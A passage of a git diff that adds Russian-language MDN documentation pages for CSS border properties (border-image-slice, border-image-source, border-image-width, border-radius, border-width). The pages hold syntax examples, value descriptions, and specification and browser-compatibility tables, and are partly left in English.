+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Support the <code>space</code> value, but the actual effect is the same as the <code>repeat</code> value.</p>
+
+<p>[2] Support the <code>round</code> value, but the actual effect is the same as the repeat value.</p>
+
+<p>[3] См. {{bug(720531)}}.</p>
+
+<p>[4] См. <a href="https://code.google.com/p/chromium/issues/detail?id=169254#c12">Chrome bug</a>.</p>
+
+<p>[5] См. <a href="https://bugs.webkit.org/show_bug.cgi?id=14185">WebKit bug</a>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/almanac/properties/b/border-image/">css-tricks border-image</a></li>
+</ul>
diff --git a/files/ru/web/css/border-image-slice/index.html b/files/ru/web/css/border-image-slice/index.html
new file mode 100644
index 0000000000..db3140e5e5
--- /dev/null
+++ b/files/ru/web/css/border-image-slice/index.html
@@ -0,0 +1,140 @@
+---
+title: border-image-slice
+slug: Web/CSS/border-image-slice
+translation_of: Web/CSS/border-image-slice
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS свойство <strong><code>border-image-slice</code></strong>  делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это просходит путем указания 4 внутренних смещений.</p>
+
+<p><a href="/files/3814/border-image-slice.png" style="float: left;"><img alt="The nine slices defined by the CSS border-image shorthand or border-image-slice longhand properties" src="/files/3814/border-image-slice.png" style="height: 132px; margin: 1px; padding: 1em; width: 250px;"></a>Четыре значения управляют положением линий среза. If some are not specified, they are inferred from the other with the usual 4-value syntax of CSS.</p>
+
+<p>The middle is not used by the border itself but is used as a background-image if the keyword <code>fill</code> is set. The keyword can be set at any position in the property (before, after or between the other values).</p>
+
+<p>The {{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}} properties define how these images will be used.</p>
+
+<p>The shorthand CSS property {{cssxref("border-image")}} may reset this property to its default value.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* border-image-slice: <em>slice</em> */
+border-image-slice: 30%;
+
+/* border-image-slice: <em>horizontal</em> <em>vertical</em> */
+border-image-slice: 10% 30%;
+
+/* border-image-slice: <em>top</em> <em>horizontal</em> <em>bottom</em> */
+border-image-slice: 30 30% 45;
+
+/* border-image-slice: <em>top</em> <em>right</em> <em>bottom</em> <em>left</em> */
+border-image-slice: 7 12 14 5;
+
+/* border-image-slice: … fill */
+/* The fill value can be placed between any value */
+border-image-slice: 10% fill 7 12;
+
+/* Глобальные значения */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><em>slice</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} of the offset for the four slicing lines. Note that a {{cssxref("&lt;length&gt;")}} value is not allowed, and therefore invalid. The {{cssxref("&lt;number&gt;")}} represents <em>pixels</em> for raster images and <em>coordinates</em> for vector images. Also, {{cssxref("&lt;percentage&gt;")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to <code>100%</code>.</dd>
+ <dt><em>horizontal</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} of the offset for the two horizontal slicing lines, the top and the bottom ones. Note that a {{cssxref("&lt;length&gt;")}} value is not allowed, and therefore invalid. The {{cssxref("&lt;number&gt;")}} represents <em>pixels</em> for raster images and <em>coordinates</em> for vector images. Also, {{cssxref("&lt;percentage&gt;")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to <code>100%</code>.</dd>
+ <dt><em>vertical</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} of the offset for the two vertical slicing lines, the right and the left ones. Note that a {{cssxref("&lt;length&gt;")}} value is not allowed, and therefore invalid. The {{cssxref("&lt;number&gt;")}} represents <em>pixels</em> for raster images and <em>coordinates</em> for vector images. Also, {{cssxref("&lt;percentage&gt;")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to <code>100%</code>.</dd>
+ <dt><em>top</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} of the offset for the top slicing line. Note that a {{cssxref("&lt;length&gt;")}} value is not allowed, and therefore invalid. The {{cssxref("&lt;number&gt;")}} represents <em>pixels</em> for raster images and <em>coordinates</em> for vector images. Also, {{cssxref("&lt;percentage&gt;")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to <code>100%</code>.</dd>
+ <dt><em>bottom</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} of the offset for the bottom slicing line. Note that a {{cssxref("&lt;length&gt;")}} value is not allowed, and therefore invalid. The {{cssxref("&lt;number&gt;")}} represents <em>pixels</em> for raster images and <em>coordinates</em> for vector images. Also, {{cssxref("&lt;percentage&gt;")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to <code>100%</code>.</dd>
+ <dt><em>right</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} of the offset for the right slicing line. Note that a {{cssxref("&lt;length&gt;")}} value is not allowed, and therefore invalid. The {{cssxref("&lt;number&gt;")}} represents <em>pixels</em> for raster images and <em>coordinates</em> for vector images. Also, {{cssxref("&lt;percentage&gt;")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to <code>100%</code>.</dd>
+ <dt><em>left</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} or a {{cssxref("&lt;percentage&gt;")}} of the offset for the left slicing line. Note that a {{cssxref("&lt;length&gt;")}} value is not allowed, and therefore invalid. The {{cssxref("&lt;number&gt;")}} represents <em>pixels</em> for raster images and <em>coordinates</em> for vector images. Also, {{cssxref("&lt;percentage&gt;")}} values are relative to the height or width of the image, whichever is adequate. Negative values are invalid and values greater than the relevant size, height or width, are clamped to <code>100%</code>.</dd>
+ <dt><code>fill</code></dt>
+ <dd>Is a keyword whose presence forces the use of the middle image slice to be displayed over the background image, its size and height are resized like those of the top and left image slices, respectively.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Is a keyword indicating that all four values are inherited from their parent's element calculated value.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-slice', 'border-image-slice')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>15.0</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.1{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/border-image-source/index.html b/files/ru/web/css/border-image-source/index.html
new file mode 100644
index 0000000000..11b6b980a4
--- /dev/null
+++ b/files/ru/web/css/border-image-source/index.html
@@ -0,0 +1,117 @@
+---
+title: border-image-source
+slug: Web/CSS/border-image-source
+translation_of: Web/CSS/border-image-source
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>The <strong><code>border-image-source</code></strong> CSS property defines the {{cssxref("&lt;image&gt;")}} to use instead of the style of the border. If this property is set to <code>none</code>, the style defined by {{cssxref("border-style")}} is used instead.</p>
+
+<div class="note"><strong>Предупреждение:</strong> Though any {{cssxref("&lt;image&gt;")}} can be used with this CSS property, browser support is still limited and some browsers support only images defined using the <code>url()</code> functional notation.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* no border-image, use the specified border-style */
+border-image-source: none;
+
+/* the image.jpg is used as image */
+border-image-source: url(image.jpg);
+
+/* a gradient is used as image */
+border-image-source: linear-gradient(to top, red, yellow);
+
+/* Global values */
+border-image-source: inherit;
+border-image-source: initial;
+border-image-source: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Specifies that no image should be used for the border. Instead the style defined by {{cssxref("border-style")}} is used.</dd>
+ <dt><code>&lt;image&gt;</code></dt>
+ <dd>Ссылка на изображение, которое будет использоваться в отрисовке границы.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Примеры</h2>
+
+<p>See {{cssxref("border-image")}} for examples of what the various source values will do.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-source', 'border-image-source')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>15.0</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/border-image-width/index.html b/files/ru/web/css/border-image-width/index.html
new file mode 100644
index 0000000000..4f5afbb25d
--- /dev/null
+++ b/files/ru/web/css/border-image-width/index.html
@@ -0,0 +1,168 @@
+---
+title: border-image-width
+slug: Web/CSS/border-image-width
+translation_of: Web/CSS/border-image-width
+---
+<div style="">{{CSSRef}}</div>
+
+<h2 id="Описание" style="">Описание</h2>
+
+<p>he <strong><code>border-image-width</code></strong> CSS property defines the width of the border image by defining inward offsets from the border edges. If the <code>border-image-width</code> is greater than the {{cssxref("border-width")}}, then the border image extends beyond the padding (and/or content) edge.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис" style="">Синтаксис</h2>
+
+<pre class="brush:css">/* border-image-width: <em>all</em> */
+border-image-width: 3;
+
+/* border-image-width: <em>vertical horizontal</em> */
+border-image-width: 2em 3em;
+
+/* border-image-width: <em>top horizontal bottom</em> */
+border-image-width: 5% 15% 10%;
+
+/* border-image-width: <em>top</em> <em>right</em> <em>bottom</em> <em>left</em> */
+border-image-width: 5% 2em 10% auto;
+
+/* Global values */
+border-image-width: inherit;
+border-image-width: initial;
+border-image-width: unset;
+</pre>
+
+<p style="">где:</p>
+
+<dl style="">
+ <dt style=""><em>width</em></dt>
+ <dd style="">Is a value denoting the width of the image used as a border to apply to all four edges. It is used only in the one-value syntax.</dd>
+ <dt style=""><em>vertical</em></dt>
+ <dd>Is a value denoting the width of the image used as a border to apply to all vertical edges, that is the top and bottom edges. It is used only in the two-value syntax.</dd>
+ <dt><em>horizontal</em></dt>
+ <dd>Is a value denoting the width of the image used as a border to apply to all horizontal edges, that is the right and left edges. It is used only in the two- and three-value syntaxes.</dd>
+ <dt><em>top</em></dt>
+ <dd>Is a value denoting the width of the image used as a border to apply to the top edge. It is used only in the three- and four-value syntaxes.</dd>
+ <dt><em>bottom</em></dt>
+ <dd>Is a value denoting the width of the image used as a border to apply to the bottom edge. It is used only in the three- and four-value syntaxes.</dd>
+ <dt><em>right</em></dt>
+ <dd>Is a value denoting the width of the image used as a border to apply to the right edge. It is used only in the four-value syntax.</dd>
+ <dt><em>left</em></dt>
+ <dd>Is a value denoting the width of the image used as a border to apply to the left edge. It is used only in the four-value syntax.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Is a keyword indicating that all four values are inherited from their parent's element calculated value.</dd>
+</dl>
+
+<h3 id="Значения" style="">Значения</h3>
+
+<dl style="">
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Represents the width of the border. It can be an absolute or relative length. This length must not be negative.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd style="">Represents the width of the border as a percentage of the element. The percentage must not be negative.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Represents a multiple of the computed value of the element's {{cssxref("border-width")}} property to be used as the border width. The number must not be negative.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Causes the border image width to equal the intrinsic width or height (whichever is applicable) of the corresponding {{cssxref("border-image-slice")}}. If the image does not have the required intrinsic dimension then the corresponding computed border-width is used instead.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис" style="">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры" style="">Примеры</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+   &lt;head&gt;&lt;/head&gt;
+   &lt;body&gt;
+      &lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
+      eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.
+      At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren,
+      no sea takimata sanctus est Lorem ipsum dolor sit amet.&lt;/p&gt;
+   &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">p {
+   border-image-source: url("https://mdn.mozillademos.org/files/10470/border.png");
+   border-image-slice: 30;
+   border-image-width: 20px;
+   border-image-repeat: round;
+   padding: 40px;
+}</pre>
+
+<p style="">{{ EmbedLiveSample('Examples', '480', '320', '', 'Web/CSS/border-image-width') }}</p>
+
+<h2 id="Specifications" name="Specifications" style="">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-image-width', 'border-image-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div style="">{{CompatibilityTable}}</div>
+
+<div id="compat-desktop" style="">
+<table class="compat-table">
+ <tbody>
+  <tr style="">
+   <th style="">Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>15.0</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/border-radius/index.html b/files/ru/web/css/border-radius/index.html
new file mode 100644
index 0000000000..bcbec329aa
--- /dev/null
+++ b/files/ru/web/css/border-radius/index.html
@@ -0,0 +1,216 @@
+---
+title: border-radius
+slug: Web/CSS/border-radius
+tags:
+  - CSS
+  - CSS свойство
+  - Скругление
+  - Углы
+translation_of: Web/CSS/border-radius
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-radius</code></strong> — это <a href="/ru/docs/Web/CSS">CSS</a>-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закругленность каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-radius.html")}}</div>
+
+
+
+<p>Это свойство является <a href="/ru/docs/Web/CSS/Shorthand_properties" title="ru/CSS/Shorthand_properties">короткой записью</a> для четырёх свойств {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}} и{{Cssxref("border-bottom-left-radius")}}.</p>
+
+<p>Скругление применяется ко всему {{Cssxref ("background")}}, даже если элемент не имеет границ, точное положение отсечения определяется свойством {{Cssxref ("background-clip")}}.</p>
+
+<p>Свойство <code>border-radius</code> не применяется к элементам таблицы, когда свойство {{Cssxref ("border-collapse")}} имеет значение <code>collapse</code>.</p>
+
+<div class="note"><strong>Замечание:</strong> Как и с любым другим сокращенным свойством, отдельные подсвойства не могут наследоваться. Например, как в <code>border-radius:0 0 inherit inherit</code>, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers"><strong>/* Такой синтаксис позволяет указать всего одно значение, вместе четырёх */</strong>
+/* Скругление применяется ко всем четырём углам */
+border-radius: 10px;
+
+/* <em>top-left-and-bottom-right</em> | <em>top-right-and-bottom-left</em> */
+border-radius: 10px 5%;
+
+/* <em>top-left</em> | <em>top-right-and-bottom-left</em> | <em>bottom-right</em> */
+border-radius: 2px 4px 2px;
+
+/* <em>top-left</em> | <em>top-right</em> | <em>bottom-right</em> | <em>bottom-left</em> */
+border-radius: 1px 0 3px 4px;
+
+<strong>/* Синтаксис из двух радиусов также может применяться ко всем четырем углам */</strong>
+/* (первые значения радиуса) /<em>радиус</em> */
+border-radius: 10px 5% / 20px;
+
+/* (первые значения радиуса) / <em>top-left-and-bottom-right</em> | <em>top-right-and-bottom-left</em> */
+border-radius: 10px 5% / 20px 30px;
+
+/* (первые значения радиуса) / <em>top-left</em> | <em>top-right-and-bottom-left</em> | <em>bottom-right</em> */
+border-radius: 10px 5px 2em / 20px 25px 30%;
+
+/* (первые значения радиуса) / <em>top-left</em> | <em>top-right</em> | <em>bottom-right</em> | <em>bottom-left</em> */
+border-radius: 10px 5% / 20px 25em 30px 35em;
+
+/* Глобальные значения */
+border-radius: inherit;
+border-radius: initial;
+border-radius: unset;
+</pre>
+
+<p>Свойство <code>border-radius</code> может быть задано как:</p>
+
+<ul>
+ <li>одно, два, три или четыре значения {{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}}. Используется для задания обычного радиуса углов.</li>
+ <li>одна, две, три или четыре пары значений <code>&lt;length&gt;</code> or <code>&lt;percentage&gt;</code>, разделённые "/". Используется для задания эллиптического склугления.</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;"><em>radius</em></td>
+   <td><img alt="all-corner.png" class="default internal" src="/@api/deki/files/6138/=all-corner.png"></td>
+   <td style="vertical-align: top;">{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} устанавливает радиус скругления для всех углов элемента. Может быть указано только одно значение (или одна пара).</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-left-and-bottom-right</em></td>
+   <td><img alt="top-left-bottom-right.png" class="default internal" src="/@api/deki/files/6141/=top-left-bottom-right.png"></td>
+   <td style="vertical-align: top;">{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} уставливает радиус для верхнего левого и нижного правого угла элемента. Следует использовать синтаксис с двумя значениями.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-right-and-bottom-left</em></td>
+   <td><img alt="top-right-bottom-left.png" class="default internal" src="/@api/deki/files/6143/=top-right-bottom-left.png"></td>
+   <td style="vertical-align: top;">{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} устанавливает радиус для верхнего правого и нижнего левого угла элемента. Можно использовать синтаксис с двумя или тремя значениями.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-left</em></td>
+   <td><img alt="top-left.png" class="default internal" src="/@api/deki/files/6142/=top-left.png"></td>
+   <td style="vertical-align: top;">{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} устанавливает радиус для левого верхнего угла элемента. Можно использовать синтаксис с тремя и четырьмя значениями.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-right</em></td>
+   <td style="margin-left: 2px;"><img alt="top-right.png" class="default internal" src="/@api/deki/files/6144/=top-right.png"></td>
+   <td style="vertical-align: top;">{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} уставливает радиус для верхнего правого угла элемента. Следует использовать синтаксис с четырьмя значениями.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>bottom-right</em></td>
+   <td style="margin-left: 2px;"><img alt="bottom-rigth.png" class="default internal" src="/@api/deki/files/6140/=bottom-rigth.png"></td>
+   <td style="vertical-align: top;">{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} уставливает радиус для нижнего правого угла элемента. Можно использовать синтаксис с тремя и четырьмя значениями.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>bottom-left</em></td>
+   <td><img alt="bottom-left.png" class="default internal" src="/@api/deki/files/6139/=bottom-left.png"></td>
+   <td style="vertical-align: top;">{{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} устанавливает радиус для нижнего левого угла элемента. Следует использовать синтаксис с четырьмя значениями.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("&lt;length&gt;")}}</a></dt>
+ <dd>Обозначает размер радиуса окружности или две полуоси эллипса. Может быть выражена в любых единицах CSS. Отрицательные значения не принимаются.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd>Обозначает размер радиуса окружности, или две полуоси эллипса. Проценты по горизонтальной оси относятся к ширине элемента, проценты по вертикальной оси к высоте. Отрицательные значения недействительны.</dd>
+</dl>
+
+<p>Например:</p>
+
+<pre class="brush: css no-line-numbers">border-radius: 1em/5em;
+
+/* ... эквивалентно этому: */
+border-top-left-radius:     1em 5em;
+border-top-right-radius:    1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius:  1em 5em;
+</pre>
+
+<pre class="brush: css no-line-numbers">border-radius: 4px 3px 6px / 2px 4px;
+
+/* ... эквивалетно этому: */
+border-top-left-radius:     4px 2px;
+border-top-right-radius:    3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius:  3px 4px;
+</pre>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre style="display: inline-block; margin: 10px; border: solid 10px; border-radius: 10px 40px 40px 10px;">  border: solid 10px;
+  /* угол изгибается в виде 'D' */
+  border-radius: 10px 40px 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: groove 1em red; border-radius: 2em;">  border: groove 1em red;
+  border-radius: 2em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: ridge gold; border-radius: 13em/3em;">  background: gold;
+  border: ridge gold;
+  border-radius: 13em/3em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: none; border-radius: 40px 10px;">  border: none;
+  border-radius: 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: burlywood; border: none; border-radius: 50%;">  border: none;
+  border-radius: 50%;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: dotted; border-width: 10px 4px; border-radius: 10px 40px;">  border: dotted;
+  border-width: 10px 4px;
+  border-radius: 10px 40px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: dashed; border-width: 2px 4px; border-radius: 40px;">  border: dashed;
+  border-width: 2px 4px;
+  border-radius: 40px;
+</pre>
+
+<h2 id="Живые_примеры">Живые примеры</h2>
+
+<ul>
+ <li>Пример 1: <a href="http://jsfiddle.net/Tripad/qnGKj/2/">http://jsfiddle.net/Tripad/qnGKj/2/</a></li>
+ <li>Пример 2: <a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/3/</a></li>
+ <li>Пример 3: <a href="http://jsfiddle.net/Tripad/qnGKj/4/">http://jsfiddle.net/Tripad/qnGKj/4/</a></li>
+ <li>Пример 4: <a href="http://jsfiddle.net/Tripad/qnGKj/5/">http://jsfiddle.net/Tripad/qnGKj/5/</a></li>
+ <li>Пример 5: <a href="http://jsfiddle.net/Tripad/qnGKj/6/">http://jsfiddle.net/Tripad/qnGKj/6/</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.border-radius")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Относящиеся к Border-radius CSS-свойства: {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}}, {{Cssxref("border-bottom-left-radius")}}</li>
+</ul>
diff --git a/files/ru/web/css/border-width/index.html b/files/ru/web/css/border-width/index.html
new file mode 100644
index 0000000000..658ac21870
--- /dev/null
+++ b/files/ru/web/css/border-width/index.html
@@ -0,0 +1,193 @@
+---
+title: border-width
+slug: Web/CSS/border-width
+translation_of: Web/CSS/border-width
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>CSS свойство {{cssxref("border-width")}}<span style="line-height: 1.5;"> определяет ширину рамки элемента. Но обычно ее задают не отдельно, а в составе свойства {{cssxref("border")}}.</span></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Общий синтаксис</a>: {{csssyntax("border-width")}}
+</pre>
+
+<pre>border-width: <em>ширина</em> <em>                 /* Одно значение */</em>
+border-width: <em>вертикальная горизотальная</em> <em>   /* Два значения */</em>
+border-width: <em>верх</em> <em>горизонтальная </em><em>основание</em><em> </em><em>   /* Три значения */</em>
+border-width: <em>верх</em> <em>право</em> <em>основание</em> <em>лево </em><em> /* Четыре значения */</em>
+
+border-width: inherit /* Родительское значение */
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
